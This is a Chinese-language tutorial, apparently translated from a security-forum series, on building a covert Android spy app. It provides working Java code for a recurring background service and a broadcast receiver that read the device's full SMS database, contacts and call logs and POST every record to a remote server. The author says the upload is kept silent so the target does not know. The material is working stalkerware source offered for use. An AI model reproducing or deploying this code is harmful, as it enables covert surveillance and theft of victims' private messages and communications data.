溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Android怎么實現(xiàn)類似于天眼應(yīng)用程序

發(fā)布時間:2022-01-12 16:17:11 來源:億速云 閱讀:179 作者:iii 欄目:網(wǎng)絡(luò)安全

這篇文章主要介紹了Android怎么實現(xiàn)類似于天眼應(yīng)用程序的相關(guān)知識,內(nèi)容詳細(xì)易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇Android怎么實現(xiàn)類似于天眼應(yīng)用程序文章都會有所收獲,下面我們一起來看看吧。

在今天的教程中,我們將持續(xù)收集有關(guān)手機上聯(lián)系人,通話記錄和短信(短信)的信息。從某種意義上說,我們將把代碼放在定期運行(不時,間隔)的服務(wù)中,并確保我們擁有最新的信息。您可以將間隔設(shè)置為從一分鐘到一天中任何一小時的任何值。

我們添加一個按鈕,觸發(fā)目標(biāo)設(shè)備上的監(jiān)控。讓我們轉(zhuǎn)到我們的content_dashboard.xml并添加按鈕。

<?xml version="1.0" encoding="utf-8"?><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"xmlns:app="http://schemas.android.com/apk/res-auto"xmlns:tools="http://schemas.android.com/tools"android:layout_width="match_parent"android:layout_height="match_parent"app:layout_behavior="@string/appbar_scrolling_view_behavior"tools:context=".Dashboard"tools:showIn="@layout/activity_dashboard"><android.support.v7.widget.RecyclerView    android:layout_width="match_parent"    android:layout_above="@id/service_monitor_button"    android:id="@+id/dashboard_recycler_view"    android:layout_height="match_parent" /><Button    android:layout_width="match_parent"    android:text="Start MONITORING"    android:padding="10dp"    android:id="@+id/service_monitor_button"    android:textColor="@android:color/white"    android:background="@color/colorPrimary"    style="@style/Base.Widget.AppCompat.Button.Borderless"    android:layout_alignParentBottom="true"    android:layout_height="wrap_content" /></RelativeLayout>

使用布局中聲明的按鈕,讓我們在Dashboard.java文件中聲明。 在公共類Dashboard ...語句下面,聲明按鈕。

public class Dashboard extends AppCompatActivity {

     private RecyclerView recyclerView;
     private List<RecyclerJava> recyclerJavaList = new ArrayList<>();
     private RecyclerAdapter recyclerAdapter;

     private Button service_monitor_btn; // New added button declaration     protected static final int GPS_REQUEST_CODE = 5000;
     protected static final int CONTACTS_REQUEST_CODE = 5001;
     protected static final int CALENDAR_REQUEST_CODE = 5002;
     protected static final int MIC_REQUEST_CODE = 5003;
     protected static final int CAMERA_REQUEST_CODE = 5004;
     protected static final int STORAGE_REQUEST_CODE = 5005;
     protected static final int SMS_REQUEST_CODE = 5006;
ONCREATE METHOD

ONCREATE方法

聲明我們的按鈕后,讓我們滾動到onCreate方法并設(shè)置對我們按鈕的引用并設(shè)置單擊偵聽器。

@Overrideprotected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_dashboard);
    Toolbar toolbar = findViewById(R.id.dashboard_toolbar);
    setSupportActionBar(toolbar);

    recyclerView = findViewById(R.id.dashboard_recycler_view);

    recyclerAdapter = new RecyclerAdapter(recyclerJavaList);
    RecyclerView.LayoutManager mLayoutManager = new LinearLayoutManager(getApplicationContext());
    recyclerView.setLayoutManager(mLayoutManager);
    recyclerView.setItemAnimator(new DefaultItemAnimator());
    recyclerView.addItemDecoration(new DividerItemDecoration(Dashboard.this, LinearLayoutManager.VERTICAL));

    // Finding the button    service_monitor_btn = findViewById(R.id.service_monitor_button);

   // Checking if our TimerService is running    if(MyServiceIsRunning(TimerService.class)) {
        service_monitor_btn.setText("STOP MONITORING");
    } else {
        service_monitor_btn.setText("START MONITORING");
    }

    // Setting a click listener on the button    service_monitor_btn.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            if(MyServiceIsRunning(TimerService.class)) {
                Log.i("0x00sec", "Stopping Service ...");
                stopService(new Intent(Dashboard.this, TimerService.class));
                service_monitor_btn.setText("START MONITORING");
            } else {
                Log.i("0x00sec", "Starting Service ...");
                startService(new Intent(Dashboard.this, TimerService.class));
                service_monitor_btn.setText("STOP MONITORING");
            }
        }
    });

    updateRecycler();
}

1 - 我們將按鈕分配給布局文件中的視圖對象。

2 - MyServiceIsRunning是一種檢查服務(wù)是否正在運行的方法。 我們希望按鈕上的文本設(shè)置為在服務(wù)運行時停止,并在服務(wù)未運行時啟動。

3 - 要檢查的服務(wù)是TimerService.class。 其功能是設(shè)置一個重復(fù)報警功能,調(diào)用廣播接收器向服務(wù)器發(fā)送信息。 讓我們一點一點地接受它。

MYSERVICEISRUNNING

解釋此方法接受服務(wù)參數(shù)并檢查服務(wù)是否正在運行并返回一個布爾值(true / false)

private boolean MyServiceIsRunning(Class<?> serviceClass) {
    ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
    for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
        if (serviceClass.getName().equals(service.service.getClassName())) {
            return true;
        }
    }
    return false;
}

計時的服務(wù)

此服務(wù)啟動一個調(diào)用廣播接收器的重復(fù)警報(警報管理器)。 接收器然后開始上傳信息。 創(chuàng)建一個新的java類并將其擴展到Service類。

Android怎么實現(xiàn)類似于天眼應(yīng)用程序讓我們開始code:

import android.app.AlarmManager;import android.app.PendingIntent;import android.app.Service;import android.content.Context;import android.content.Intent;import android.os.IBinder;import android.os.SystemClock;import android.support.annotation.Nullable;import android.util.Log;public class TimerService extends Service {@Overridepublic void onCreate() {
    super.onCreate();

    AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
    Intent intent = new Intent(TimerService.this, ServerUpdateReceiver.class);
    PendingIntent pendingIntent = PendingIntent.getBroadcast(this,0,intent, 0);
    alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP,
            SystemClock.elapsedRealtime(),
            AlarmManager.INTERVAL_HOUR,
            pendingIntent);
    // stopSelf(); // Optional}@Overridepublic int onStartCommand(Intent intent, int flags, int startId) {
    return super.onStartCommand(intent, flags, startId);
}@Overridepublic void onDestroy() { // Stop Service    super.onDestroy();
}@Nullable@Overridepublic IBinder onBind(Intent intent) {
    return null;
}
}

唯一重要的方法是onCreate方法。

使用AlarmManager,我們安排重復(fù)警報來調(diào)用ServerUpdateReceiver.class(廣播接收器)。數(shù)據(jù)可以通過intent.putExtra調(diào)用傳遞給接收者,但我們現(xiàn)在不會傳遞任何數(shù)據(jù)。

需要注意的另一件事是AlarmManager.INTERVAL_HOUR。這段參數(shù)(以毫秒為單位)是警報的間隔。最小值是60秒(1分鐘 - 60000毫秒),你不能在下面設(shè)置。如果將其設(shè)置為低于60秒,Android將強制將其設(shè)置為一分鐘。我們將接收器配置為每小時調(diào)用一次。建議甚至增加一點,因為頻繁的調(diào)用可以調(diào)用應(yīng)用程序崩潰,電池耗盡或在內(nèi)存不足的情況下殺死我們的應(yīng)用程序。

我完全清楚,在發(fā)送數(shù)據(jù)之前,我們不會檢查手機是否已連接到互聯(lián)網(wǎng)。我們稍后會修復(fù),但同時我們必須確保手機已連接到互聯(lián)網(wǎng)。沒有互聯(lián)網(wǎng)連接的重復(fù)呼叫將導(dǎo)致應(yīng)用暫時崩潰。暫時因為警報呼叫將再次被觸發(fā),而警報呼叫將再次呼叫我們的接收器。持續(xù)重復(fù)。

服務(wù)更新接收器(廣播)

該接收器只是將定期數(shù)據(jù)發(fā)送到我們定義的服如果未授予權(quán)限,則不會調(diào)用適當(dāng)?shù)姆椒?,因為android不允許我們收集我們無權(quán)訪問的數(shù)據(jù)。

創(chuàng)建一個java類并將其擴展到BroadcastReceiver類。

Android怎么實現(xiàn)類似于天眼應(yīng)用程序

請記住,如果您沒有根據(jù)教程中的對象命名對象,請確保根據(jù)代碼替換它們。

BroadcastReceiver唯一需要的方法是onReceive Override方法。 你的代碼應(yīng)該是這樣的:

public class ServerUpdateReceiver extends BroadcastReceiver {

   @Override   public void onReceive(Context context, Intent intent) {

   }

}

在public class語句下面,讓我們聲明一個Context。 有了這個,所有其他方法都可以訪問它。

public class ServerUpdateReceiver extends BroadcastReceiver {

    Context context;
    ...

開展方法

在該方法中,我們首先檢查是否授予了權(quán)限,然后調(diào)用適當(dāng)?shù)姆椒ā?本教程將介紹聯(lián)系人,通話記錄和短信。

@Overridepublic void onReceive(Context context, Intent intent) {

    this.context = context;

    if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
        new Thread(new Runnable() {
            @Override            public void run() {
                update_Server_SMS();
            }
        }).start();
    }

    if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
        new Thread(new Runnable() {
            @Override            public void run() {
                update_Server_Contacts();
                update_Server_Call_Logs();
            }
        }).start();
    }
}

將SMS消息發(fā)送到服務(wù)器的方法是update_Server_SMS,負(fù)責(zé)發(fā)送聯(lián)系信息和調(diào)用日志的方法是update_Server_Call_Logs和update_Server_Contacts。

而不是使用不同的方法來處理與服務(wù)器的通信。 我們將創(chuàng)建一個接受POST參數(shù)和處理程序通信的方法。 有了這個,類中的所有方法都可以通過調(diào)用它并傳遞它們的參數(shù)來進行外部通信。

UPDATE_SERVER方法

更新服務(wù)器是處理與服務(wù)器的通信的方法。 它接受POST參數(shù)并發(fā)送它們。

private void update_Server(final Map<String, String> params) {

    RequestQueue requestQueue = Volley.newRequestQueue(context);

    StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
        @Override        public void onResponse(String req) {
        }
    }, new Response.ErrorListener() {
        @Override        public void onErrorResponse(VolleyError error) {
        }
    }) {
        protected Map<String, String> getParams() {
            return params;
        }
    };

    requestQueue.add(serverRequest);
}

由于這個類是非UI(呃,也許可以做很少的UI工作,如通知等),我們不想推送如上傳完成的任何通知,因為它是間諜應(yīng)用程序:我們讓目標(biāo)不想知道已發(fā)送的信息的。 盡可能的安靜。 因此,我們不在此處包含任何UI代碼。 由于我們也不知道我們的數(shù)據(jù)是否已保存,因此我們確保服務(wù)器正確接收數(shù)據(jù)。 繼續(xù) …

UPDATE_SERVER_SMS

此方法讀取電話的SMS數(shù)據(jù)庫(收件箱,草稿,已發(fā)送),并通過update_Server方法將它們發(fā)送到服務(wù)器。

private void update_Server_SMS() {

    SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
    final String auth_key = sharedPreferences.getString("auth_key", null);

    try {
        Uri uriSMSURI = Uri.parse("content://sms");

        Cursor cursor = context.getContentResolver().query(uriSMSURI, null, null, null,null);

        while (cursor.moveToNext()) {
            String address = cursor.getString(cursor.getColumnIndexOrThrow("address")).toString();
            String message = cursor.getString(cursor.getColumnIndexOrThrow("body")).toString();
            String date = cursor.getString(cursor.getColumnIndexOrThrow("date")).toString();
            String read = cursor.getString(cursor.getColumnIndexOrThrow("read")).toString();
            String type = cursor.getString(cursor.getColumnIndexOrThrow("type")).toString();
            String id = cursor.getString(cursor.getColumnIndexOrThrow("_id")).toString();

            if(read.equals("0")) { read = "no"; } else { read = "yes"; }
            if(type.equals("1")) { type = "inbox"; } else if(type.equals("2")) { type = "sent"; } else { type = "draft"; }
            date = get_Long_Date(date);

            // THIS IS HOW TO CREATE THE POST PARAMETERS ( MAP ARRAY )            Map<String, String> params = new HashMap<>();
            params.put("address", address);
            params.put("message", message);
            params.put("date", date);
            params.put("read",  read);
            params.put("id", id);
            params.put("type", type);            params.put("auth", auth_key);

            update_Server(params);
        }
    } catch (Exception e) {
    }
}
  • content:// sms - 允許我們遍歷整個SMS數(shù)據(jù)庫,而不是將自己限制在收件箱,草稿或已發(fā)送的郵件中。

  • cursor.getColumnIndexOrThrow - 允許我們獲取光標(biāo)的相應(yīng)列索引。 請注意,輸入錯誤的列名將導(dǎo)致應(yīng)用程序崩潰。 這些是列的含義。

    • 地址 - 電話號碼

    • 消息 - 消息的內(nèi)容

    • 日期 - 消息的時間

    • 讀 - 消息狀態(tài)(0 - 不讀,1 - 讀)

    • 類型 - 消息類型(1 - 收件箱,2 - 發(fā)件箱,3 - 草稿(猜測工作))

    • id - 唯一的消息標(biāo)識符

  • 使用get_Long_Date將日期構(gòu)造成人類可讀的。

  • 然后我們構(gòu)造POST參數(shù)并調(diào)用update_Server方法來傳遞信息。

然后服務(wù)器應(yīng)該收到類似$ _POST ['address'] && $ _POST ['message']的內(nèi)容......

GET_LONG_DATE方法

接受并將傳遞的參數(shù)轉(zhuǎn)換為可讀參數(shù)。

private String get_Long_Date(String date) {
    Long timestamp = Long.parseLong(date);
    Calendar calendar = Calendar.getInstance();
    calendar.setTimeInMillis(timestamp);
    DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
    return formatter.format(calendar.getTime());
}

UPDATE_SERVER_CONTACTS

這個方法與上面的方法一樣,遍歷Contact數(shù)據(jù)庫,獲取信息并發(fā)送它。

private void update_Server_Contacts() {

    SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
    final String auth_key = sharedPreferences.getString("auth_key", null);

    Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null,
            null, null, null);
    while (cursor.moveToNext()) {
        try{
            String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
            String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            String phoneNumber = null;

            if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
                Cursor phones = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ contactId, null, null);
                while (phones.moveToNext()) {
                    phoneNumber = phones.getString(phones.getColumnIndex( ContactsContract.CommonDataKinds.Phone.NUMBER));
                    break;
                }
                phones.close();

                if(phoneNumber != null) {

                    Map<String, String> params = new HashMap<>();
                    params.put("contact_name", name);
                    params.put("contact_phone", phoneNumber);
                    params.put("auth", auth_key);

                    update_Server(params);
                }
            }
        }catch(Exception e) {

        }
    }
}

同樣,更改ColumnIndex將導(dǎo)致應(yīng)用程序崩潰。 它們是不變的價值觀。

UPDATE_SERVER_CALL_LOGS

方法就像其他兩個循環(huán)通過調(diào)用日志數(shù)據(jù)庫并獲取信息。

@SuppressLint("MissingPermission")private void update_Server_Call_Logs() {

    SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
    final String auth_key = sharedPreferences.getString("auth_key", null);

    Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, null);
    int phone_number = cursor.getColumnIndex(CallLog.Calls.NUMBER);
    int type = cursor.getColumnIndex(CallLog.Calls.TYPE);
    int date = cursor.getColumnIndex(CallLog.Calls.DATE);
    int duration = cursor.getColumnIndex(CallLog.Calls.DURATION);

    while (cursor.moveToNext()) {
        String number = cursor.getString(phone_number);
        String call_type = cursor.getString(type);
        String call_date = get_Long_Date(cursor.getString(date));
        String call_duration = cursor.getString(duration);
        int call_code = Integer.parseInt(call_type);

        switch (call_code) {
            case CallLog.Calls.OUTGOING_TYPE:
                call_type = "OUTGOING";
                break;
            case CallLog.Calls.INCOMING_TYPE:
                call_type = "INCOMING";
                break;
            case CallLog.Calls.MISSED_TYPE:
                call_type = "MISSED";
                break;
        }

        Map<String, String> params = new HashMap<>();

        params.put("phone_number", number);
        params.put("call_date", call_date);
        params.put("call_type", call_type);
        params.put("call_duration", call_duration);
        params.put("auth", auth_key);

        update_Server(params);
    }

    cursor.close();
}

我們已完成本教程。 在我們超越自我之前。 我花了幾天時間才意識到我忘記添加適當(dāng)?shù)暮艚腥罩緳?quán)限,盡管我們已經(jīng)在上一個教程中添加了它們。 沒有READ_CALL_LOGS和WRITE_CALL_LOGS權(quán)限。 我們無法訪問通話記錄。 讓我們將它們添加到AndroidManifest.xml。

<uses-permission android:name="android.permission.READ_CALL_LOG" /><uses-permission android:name="android.permission.WRITE_CALL_LOG" />

現(xiàn)在來吧,運行你的Android應(yīng)用程序。 允許權(quán)限并開始監(jiān)控。 您的數(shù)據(jù)應(yīng)該發(fā)送到測試服務(wù)器(如果您使用我的測試服務(wù)器)。

關(guān)于“Android怎么實現(xiàn)類似于天眼應(yīng)用程序”這篇文章的內(nèi)容就介紹到這里,感謝各位的閱讀!相信大家對“Android怎么實現(xiàn)類似于天眼應(yīng)用程序”知識都有一定的了解,大家如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI